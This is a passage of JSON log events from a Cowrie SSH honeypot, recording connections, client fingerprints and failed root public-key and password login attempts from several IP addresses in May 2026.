14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:47.841679Z","src_ip":"31.42.190.77","session":"9cfb2e32a0b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:53:be:9d:37:6a:f5:ab:04:d2:4b:a7:c1:52:32:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvW+8PsKrtLAaHnRewvMW2J2PNK+ortTEJvO4GmjUBp7/oN/PY28Li1xOue9k0vy6540EinFRYDw7rt4BZYPlMQlBca0VkCI5hx+kzrfWwYumUJ6hoBKQyDksLcmixyJ6+NDz/NOvUV/OhWQDCFN45nbQ966mVkvmUiG9JlsRiVNSoVhufMU1EZG2Ebr0vqsqfIZhjbjo+ndH8Ui2M7taUJLZ1o1ya0zYymdMF+4vndrKTYvohWNkuQKVGH3HpbNHKRnsUT30Dm19qyxviItbQ+ulu0KzwoVMDdjQYqkpzrH2scvc7WtD/IxkuMXfRcXuY2YGG3DZUjEQoSQp+JmClQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:53:be:9d:37:6a:f5:ab:04:d2:4b:a7:c1:52:32:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:48.443069Z","src_ip":"31.42.190.77","session":"9cfb2e32a0b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:53:be:9d:37:6a:f5:ab:04:d2:4b:a7:c1:52:32:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvW+8PsKrtLAaHnRewvMW2J2PNK+ortTEJvO4GmjUBp7/oN/PY28Li1xOue9k0vy6540EinFRYDw7rt4BZYPlMQlBca0VkCI5hx+kzrfWwYumUJ6hoBKQyDksLcmixyJ6+NDz/NOvUV/OhWQDCFN45nbQ966mVkvmUiG9JlsRiVNSoVhufMU1EZG2Ebr0vqsqfIZhjbjo+ndH8Ui2M7taUJLZ1o1ya0zYymdMF+4vndrKTYvohWNkuQKVGH3HpbNHKRnsUT30Dm19qyxviItbQ+ulu0KzwoVMDdjQYqkpzrH2scvc7WtD/IxkuMXfRcXuY2YGG3DZUjEQoSQp+JmClQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:48.447150Z","src_ip":"31.42.190.77","session":"9cfb2e32a0b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:b7:44:9a:8d:52:0f:60:fd:ca:fe:01:5d:af:cc:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDwmfnthOZkVDTuIuq1zPJ9WytAzubyN2tEp4McU4w+xiGU/AHGwHViCekZHt04H8r+dTobIGBm8scoMvwWtFCbj3eNEh69X/aSRmLaMM0cHyp5BIPRRxOFvKaRkWpeEX5ZlEgtRpoT1S6LBelxFNcrOG43EXqLbxZXioHZQeYOZ0tFYmj2HV0mpZMDQqQdSjd/0PfqXdk0vWQumg0YH5rOKEzNqI3ShRRV/iaf2a8/wXWcx7T3M9dXBqFqlYZORa3a+Xn6QQ2L+kd7P5FE3BXAbCKMA34gkEIwDqi+RZZEPmSBfbLtrgI7sfXt6XYIurB9K1sszUw7DVT6SlR/m9StsueKWUGw9GTlMsYsqT4eK5SYkVWMTBioo7+3FKJl2756or/PhdtwIV4VZR9Gx/kLwNtqMJx9E34Ya6Ngr5daUzWxOBM6POjHEoOc3tjeBZQQ7DVH1zMAfl1AMF+cxvcevWKiDwMikU4RxUMCXDYx48P91fLJFUSCP885p6kSblFWffaZVYqE65c7RKNgM1v/scyFwlW/RWuYJzlT6ggT1EFR5Q2xx5jG/Awqqey+CZY65zL5hEnnBUscEUcvda/VpcXkNsrTbJjh6hBhYQLsuG17npRF6vSZjZ3PggdfQxtTxLw8MIaG/AIFs5lbbMbMOdok6sTdoeaj9tOwI1Czyw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:b7:44:9a:8d:52:0f:60:fd:ca:fe:01:5d:af:cc:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:48.571181Z","src_ip":"31.42.190.77","session":"9cfb2e32a0b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:b7:44:9a:8d:52:0f:60:fd:ca:fe:01:5d:af:cc:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDwmfnthOZkVDTuIuq1zPJ9WytAzubyN2tEp4McU4w+xiGU/AHGwHViCekZHt04H8r+dTobIGBm8scoMvwWtFCbj3eNEh69X/aSRmLaMM0cHyp5BIPRRxOFvKaRkWpeEX5ZlEgtRpoT1S6LBelxFNcrOG43EXqLbxZXioHZQeYOZ0tFYmj2HV0mpZMDQqQdSjd/0PfqXdk0vWQumg0YH5rOKEzNqI3ShRRV/iaf2a8/wXWcx7T3M9dXBqFqlYZORa3a+Xn6QQ2L+kd7P5FE3BXAbCKMA34gkEIwDqi+RZZEPmSBfbLtrgI7sfXt6XYIurB9K1sszUw7DVT6SlR/m9StsueKWUGw9GTlMsYsqT4eK5SYkVWMTBioo7+3FKJl2756or/PhdtwIV4VZR9Gx/kLwNtqMJx9E34Ya6Ngr5daUzWxOBM6POjHEoOc3tjeBZQQ7DVH1zMAfl1AMF+cxvcevWKiDwMikU4RxUMCXDYx48P91fLJFUSCP885p6kSblFWffaZVYqE65c7RKNgM1v/scyFwlW/RWuYJzlT6ggT1EFR5Q2xx5jG/Awqqey+CZY65zL5hEnnBUscEUcvda/VpcXkNsrTbJjh6hBhYQLsuG17npRF6vSZjZ3PggdfQxtTxLw8MIaG/AIFs5lbbMbMOdok6sTdoeaj9tOwI1Czyw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:48.575777Z","src_ip":"31.42.190.77","session":"9cfb2e32a0b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:c1:fe:b0:03:e1:97:58:2a:52:01:0b:f7:13:6a:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7xkM8K8w7k+hs9vPcobtGPIBX/uAymXmjRN3kZ3064NOagyK1OkHzZekGO/Supcur/omHtvOGXqQ9rk20BzUhKMDDvQWrNbt4iak35HVFFQQ6Rsh8Wz7LVDfD37rMCoIvWt7+2FK69m/txdWOjagvz8qTjp52K8p5UpeY0OB38O9EXwFR/2JJ5SbGF9p7PVeSVq2P5adfVl7mdMtv+2vNnGhk5y6he43sHppJt3hmMXcZ6Kiv1h2NuZfx340r8UviTSrNhIVlSurw0nkHSRIrmYUazwEYx1oxpkXXnd9C/4hxxVDEac7upkwCP4ttWD88gGkD9WXde0ZFJt9WIeOTaPIAC2k19LR9IjlXYmdYyGIGksttdCZ1AkIvntTP1JdWgwiK8l4FP1IkUGn59L6x3qmfG39MU2FOFmlxQif5fqFdTqQn28L2GKWI7KDmYTZogo1SxDEqtktm7JbQT79vPXcM1wig4ad86dOPJppFfhNm5VIKjTgHnwGD/2KWtTz5GPtxCMRK7NBQWH+nmMp7Wc1bdlYD6evIMOC06IEyL2ktNghtDfRP9jemPA9BDHwrHAKicbjVvZ6VzBuv2x5SKXDWCxGwC7VQSCs+KYLlme4SbrvGxhsLa88rUIwsHEvMOXtH5nFkEBS8xsH3aLQb0lgp1bV8WkibVRh0DEx0hw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:c1:fe:b0:03:e1:97:58:2a:52:01:0b:f7:13:6a:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:48.702526Z","src_ip":"31.42.190.77","session":"9cfb2e32a0b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:c1:fe:b0:03:e1:97:58:2a:52:01:0b:f7:13:6a:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7xkM8K8w7k+hs9vPcobtGPIBX/uAymXmjRN3kZ3064NOagyK1OkHzZekGO/Supcur/omHtvOGXqQ9rk20BzUhKMDDvQWrNbt4iak35HVFFQQ6Rsh8Wz7LVDfD37rMCoIvWt7+2FK69m/txdWOjagvz8qTjp52K8p5UpeY0OB38O9EXwFR/2JJ5SbGF9p7PVeSVq2P5adfVl7mdMtv+2vNnGhk5y6he43sHppJt3hmMXcZ6Kiv1h2NuZfx340r8UviTSrNhIVlSurw0nkHSRIrmYUazwEYx1oxpkXXnd9C/4hxxVDEac7upkwCP4ttWD88gGkD9WXde0ZFJt9WIeOTaPIAC2k19LR9IjlXYmdYyGIGksttdCZ1AkIvntTP1JdWgwiK8l4FP1IkUGn59L6x3qmfG39MU2FOFmlxQif5fqFdTqQn28L2GKWI7KDmYTZogo1SxDEqtktm7JbQT79vPXcM1wig4ad86dOPJppFfhNm5VIKjTgHnwGD/2KWtTz5GPtxCMRK7NBQWH+nmMp7Wc1bdlYD6evIMOC06IEyL2ktNghtDfRP9jemPA9BDHwrHAKicbjVvZ6VzBuv2x5SKXDWCxGwC7VQSCs+KYLlme4SbrvGxhsLa88rUIwsHEvMOXtH5nFkEBS8xsH3aLQb0lgp1bV8WkibVRh0DEx0hw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:48.706150Z","src_ip":"31.42.190.77","session":"9cfb2e32a0b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:87:33:71:79:5c:ad:21:e7:60:92:37:d8:e0:a5:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt/EoCIDbwMcIYLIIaH7w4aC9yAgRBbMvbqAalJb1WpG1HJMoM4764AFgo+KVkYjwiPa6OCddZDjP2aoQkUoLHELexwDcwjIHyIdvcPRsfAqKvVMavgib2wB9JyoSwgHf8VAEFw3XIAq9cl1XL+fhq7JqIJN2DFxSzoxc3XeI5k1D2Yi0dN58CtNEvDTm8kPktX9IpfvuwAxWVBapIlxl+ZXs7i//WLILItOz9fOdetLIHHKRo7tVG7jVA1UwZ3GzyZF0ZHRvuqb0JU5AeEdf4mQ7wXkvhWdBNU0SP2IXgjxRxq3aPxS6AwCYYJMAKi9h7LxC3/zIDUD4sNLOAosnZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:87:33:71:79:5c:ad:21:e7:60:92:37:d8:e0:a5:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:48.830316Z","src_ip":"31.42.190.77","session":"9cfb2e32a0b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:87:33:71:79:5c:ad:21:e7:60:92:37:d8:e0:a5:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt/EoCIDbwMcIYLIIaH7w4aC9yAgRBbMvbqAalJb1WpG1HJMoM4764AFgo+KVkYjwiPa6OCddZDjP2aoQkUoLHELexwDcwjIHyIdvcPRsfAqKvVMavgib2wB9JyoSwgHf8VAEFw3XIAq9cl1XL+fhq7JqIJN2DFxSzoxc3XeI5k1D2Yi0dN58CtNEvDTm8kPktX9IpfvuwAxWVBapIlxl+ZXs7i//WLILItOz9fOdetLIHHKRo7tVG7jVA1UwZ3GzyZF0ZHRvuqb0JU5AeEdf4mQ7wXkvhWdBNU0SP2IXgjxRxq3aPxS6AwCYYJMAKi9h7LxC3/zIDUD4sNLOAosnZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:48.839172Z","src_ip":"31.42.190.77","session":"9cfb2e32a0b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:00:5f:11:d7:5f:44:20:52:4e:9f:f9:7b:75:69:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdEBZxVq8ttp2SPZtR+ssFvlygUEBFAMFpBgidU/LltjRKwWP4Af7gosjEQxY8E6kEeuJWGJZSgEGdCRu8VJIq1pGWy0eTHqN24u23L0L2bpinCV+ujmIolQntDWnbpq4eXs6tCP45ew58nr1pZ0HIZmmM5iugMo28HDMuaslvSCaBLuD6jKTjq7Vvt2VMbyO/NX1Gxtexi5T4C0C1PHQZElkxs7Z8tCIe3rVLjpF6eomIeaFnoV9KH5CCrcVR1CbA/L7lCws/MInOzpWXky79Xk5UkD5iyygsa3BRAyfiZSp8Kta0KqcwKrOlznTMQ6jb58b4tilSfymxxKVT/ou/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:00:5f:11:d7:5f:44:20:52:4e:9f:f9:7b:75:69:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:48.966137Z","src_ip":"31.42.190.77","session":"9cfb2e32a0b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:00:5f:11:d7:5f:44:20:52:4e:9f:f9:7b:75:69:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdEBZxVq8ttp2SPZtR+ssFvlygUEBFAMFpBgidU/LltjRKwWP4Af7gosjEQxY8E6kEeuJWGJZSgEGdCRu8VJIq1pGWy0eTHqN24u23L0L2bpinCV+ujmIolQntDWnbpq4eXs6tCP45ew58nr1pZ0HIZmmM5iugMo28HDMuaslvSCaBLuD6jKTjq7Vvt2VMbyO/NX1Gxtexi5T4C0C1PHQZElkxs7Z8tCIe3rVLjpF6eomIeaFnoV9KH5CCrcVR1CbA/L7lCws/MInOzpWXky79Xk5UkD5iyygsa3BRAyfiZSp8Kta0KqcwKrOlznTMQ6jb58b4tilSfymxxKVT/ou/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:48.970904Z","src_ip":"31.42.190.77","session":"9cfb2e32a0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:49.097967Z","src_ip":"31.42.190.77","session":"9cfb2e32a0b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":6843,"dst_ip":"159.203.135.109","dst_port":22,"session":"0292b8ae1309","protocol":"ssh","message":"New connection: 2.57.121.25:6843 (159.203.135.109:22) [session: 0292b8ae1309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:51.476231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:51.480979Z","src_ip":"2.57.121.25","session":"0292b8ae1309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:51.586349Z","src_ip":"2.57.121.25","session":"0292b8ae1309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"141082","message":"login attempt [user/141082] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:52.082187Z","src_ip":"2.57.121.25","session":"0292b8ae1309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14091981","message":"login attempt [user/14091981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:53.190173Z","src_ip":"2.57.121.25","session":"0292b8ae1309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14091980","message":"login attempt [user/14091980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:54.298628Z","src_ip":"2.57.121.25","session":"0292b8ae1309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140788","message":"login attempt [user/140788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:55.406963Z","src_ip":"2.57.121.25","session":"0292b8ae1309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140787","message":"login attempt [user/140787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:56.521478Z","src_ip":"2.57.121.25","session":"0292b8ae1309","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:57:57.630676Z","src_ip":"2.57.121.25","session":"0292b8ae1309","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:24.937283Z","src_ip":"209.99.185.239","session":"322dbbb9b4d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.184.158","src_port":52502,"dst_ip":"10.17.0.5","dst_port":22,"session":"7790ab30dbac","protocol":"ssh","message":"New connection: 31.42.184.158:52502 (10.17.0.5:22) [session: 7790ab30dbac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:43.466261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:43.471083Z","src_ip":"31.42.184.158","session":"7790ab30dbac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:43.598584Z","src_ip":"31.42.184.158","session":"7790ab30dbac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:98:79:bd:f3:a9:62:19:23:8a:a2:a0:0a:bf:80:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC4cioyvLifnF2TyaZ3wcka3V9Y8yUG2p5kfj75mlnGFRR2UlmOn+nIquTLI0yK+2OpLggFhm81kepg/RuHlsjVLD3DnYujPVLwQ3g+N2AUnuL3JqCD5zh4CUH+oF1Ea+aqF/9aWBUa+hIGKaJPD24MLifx9eJ/YVqopA/otzRCZGy/61MKUgFbicSbtLX7TUcKnbSDRzZDT6/4Q70E8g78gP28dlWoqDkwEF3/Ooa/miTsEjXlDrceX2RED0vOtWVAbv3rtJcB2PhCSQ8JTkiv+HXPbN2oFjXELFCethWfpJQnqQG8M1SB18oucqnVIyurxUjXq2ZNpWLZEIqFPdeyasL6Pz1H9VqDamOXtNs2LpZg/H/oHrpgZRLQnvWrHvqEd+kB1/nic2l9/+OewsxUZ/2s6lg07rvmz0zy7PKjtV6Uw/PJIyk6DzjnkQKpE9f3R61392L/vGE+rGTv1HQ4+T0n/e7xGb5YpFZGwAyLR2SQ9oaP92RsHIlZNsGKCNa9X6/OyZK1QRjihEOg1Xol1t3H3M9yMZ29xgD3Iw4GgJpd0QkAsEtYBAgN2zPI6R+H1YThYVCgZ7aWnbBW7MhDv/VKHL6n9DT+Tk44vNb5QMPy+0pnsYzd6My/cdOBszL5W4KLEzfsKdYKSFxI0jgV3jQVSHeHkjHf2Hw30S7GQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:98:79:bd:f3:a9:62:19:23:8a:a2:a0:0a:bf:80:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:44.209649Z","src_ip":"31.42.184.158","session":"7790ab30dbac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:98:79:bd:f3:a9:62:19:23:8a:a2:a0:0a:bf:80:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC4cioyvLifnF2TyaZ3wcka3V9Y8yUG2p5kfj75mlnGFRR2UlmOn+nIquTLI0yK+2OpLggFhm81kepg/RuHlsjVLD3DnYujPVLwQ3g+N2AUnuL3JqCD5zh4CUH+oF1Ea+aqF/9aWBUa+hIGKaJPD24MLifx9eJ/YVqopA/otzRCZGy/61MKUgFbicSbtLX7TUcKnbSDRzZDT6/4Q70E8g78gP28dlWoqDkwEF3/Ooa/miTsEjXlDrceX2RED0vOtWVAbv3rtJcB2PhCSQ8JTkiv+HXPbN2oFjXELFCethWfpJQnqQG8M1SB18oucqnVIyurxUjXq2ZNpWLZEIqFPdeyasL6Pz1H9VqDamOXtNs2LpZg/H/oHrpgZRLQnvWrHvqEd+kB1/nic2l9/+OewsxUZ/2s6lg07rvmz0zy7PKjtV6Uw/PJIyk6DzjnkQKpE9f3R61392L/vGE+rGTv1HQ4+T0n/e7xGb5YpFZGwAyLR2SQ9oaP92RsHIlZNsGKCNa9X6/OyZK1QRjihEOg1Xol1t3H3M9yMZ29xgD3Iw4GgJpd0QkAsEtYBAgN2zPI6R+H1YThYVCgZ7aWnbBW7MhDv/VKHL6n9DT+Tk44vNb5QMPy+0pnsYzd6My/cdOBszL5W4KLEzfsKdYKSFxI0jgV3jQVSHeHkjHf2Hw30S7GQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:44.213518Z","src_ip":"31.42.184.158","session":"7790ab30dbac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:fb:ba:94:da:54:ed:0e:95:0c:80:57:fb:1b:96:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwfoYvPWNEYjn8V9rY2IGEvWljowmHVHwaRIBIPcM6rISbd/XOz5uSZdDGzfOLqTmjVokIGWpSwR6wQ/A+iBCOpXvZbOQK/GA7pCaYuLQhLInWF2GnvTYxBfHcuYMQ2GuuCF/ADfpdT3wDirfY/hCQBlIe7QI92IcWH+xEVnahg7LrIVSlGk7vUnlir7hmiefuc95zclyqpfVTCj6yvQhYpIX3SFGqWlnDQMDFCQLgKjv6GnRHlFw0/KkdvoO8wPxBz5HsxkhZPGrBsN0K0YEB7iIW61agNXUdM6Q9dezENmQXuFFSeSMZTNW8j4PIJGkZNgIwz4APbIx4vEvHgpjT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:fb:ba:94:da:54:ed:0e:95:0c:80:57:fb:1b:96:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:44.341661Z","src_ip":"31.42.184.158","session":"7790ab30dbac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:fb:ba:94:da:54:ed:0e:95:0c:80:57:fb:1b:96:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwfoYvPWNEYjn8V9rY2IGEvWljowmHVHwaRIBIPcM6rISbd/XOz5uSZdDGzfOLqTmjVokIGWpSwR6wQ/A+iBCOpXvZbOQK/GA7pCaYuLQhLInWF2GnvTYxBfHcuYMQ2GuuCF/ADfpdT3wDirfY/hCQBlIe7QI92IcWH+xEVnahg7LrIVSlGk7vUnlir7hmiefuc95zclyqpfVTCj6yvQhYpIX3SFGqWlnDQMDFCQLgKjv6GnRHlFw0/KkdvoO8wPxBz5HsxkhZPGrBsN0K0YEB7iIW61agNXUdM6Q9dezENmQXuFFSeSMZTNW8j4PIJGkZNgIwz4APbIx4vEvHgpjT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:58:44.347358Z","src_ip":"31.42.184.158","session":"7790ab30dbac","protocol":"ssh"}
